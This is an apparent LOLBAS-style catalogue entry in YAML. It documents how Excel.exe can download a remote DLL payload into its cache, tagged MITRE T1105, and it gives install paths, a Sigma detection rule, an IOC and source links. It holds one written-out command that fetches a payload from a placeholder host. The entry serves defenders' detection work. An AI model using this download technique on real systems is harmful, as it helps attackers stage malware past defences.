---
Name: Excel.exe
Description: Microsoft Office binary
Author: 'Reegun J (OCBC Bank)'
Created: 2019-07-19
Commands:
  - Command: Excel.exe http://192.168.1.10/TeamsAddinLoader.dll
    Description: Downloads payload from remote server
    Usecase: It will download a remote payload and place it in the cache folder
    Category: Download
    Privileges: User
    MitreID: T1105
    OperatingSystem: Windows
Full_Path:
  - Path: C:\Program Files (x86)\Microsoft Office 16\ClientX86\Root\Office16\Excel.exe
  - Path: C:\Program Files\Microsoft Office 16\ClientX64\Root\Office16\Excel.exe
  - Path: C:\Program Files (x86)\Microsoft Office\Office16\Excel.exe
  - Path: C:\Program Files\Microsoft Office\Office16\Excel.exe
  - Path: C:\Program Files (x86)\Microsoft Office 15\ClientX86\Root\Office15\Excel.exe
  - Path: C:\Program Files\Microsoft Office 15\ClientX64\Root\Office15\Excel.exe
  - Path: C:\Program Files (x86)\Microsoft Office\Office15\Excel.exe
  - Path: C:\Program Files\Microsoft Office\Office15\Excel.exe
  - Path: C:\Program Files (x86)\Microsoft Office 14\ClientX86\Root\Office14\Excel.exe
  - Path: C:\Program Files\Microsoft Office 14\ClientX64\Root\Office14\Excel.exe
  - Path: C:\Program Files (x86)\Microsoft Office\Office14\Excel.exe
  - Path: C:\Program Files\Microsoft Office\Office14\Excel.exe
  - Path: C:\Program Files (x86)\Microsoft Office\Office12\Excel.exe
  - Path: C:\Program Files\Microsoft Office\Office12\Excel.exe
  - Path: C:\Program Files\Microsoft Office\Office12\Excel.exe
Code_Sample:
  - Code:
Detection:
  - Sigma: https://github.com/SigmaHQ/sigma/blob/08ca62cc8860f4660e945805d0dd615ce75258c1/rules/windows/process_creation/win_susp_msoffice.yml
  - IOC: Suspicious Office application Internet/network traffic
Resources:
  - Link: https://twitter.com/reegun21/status/1150032506504151040
  - Link: https://medium.com/@reegun/unsanitized-file-validation-leads-to-malicious-payload-download-via-office-binaries-202d02db7191
Acknowledgement:
  - Person: 'Reegun J (OCBC Bank)'
    Handle: '@reegun21'
---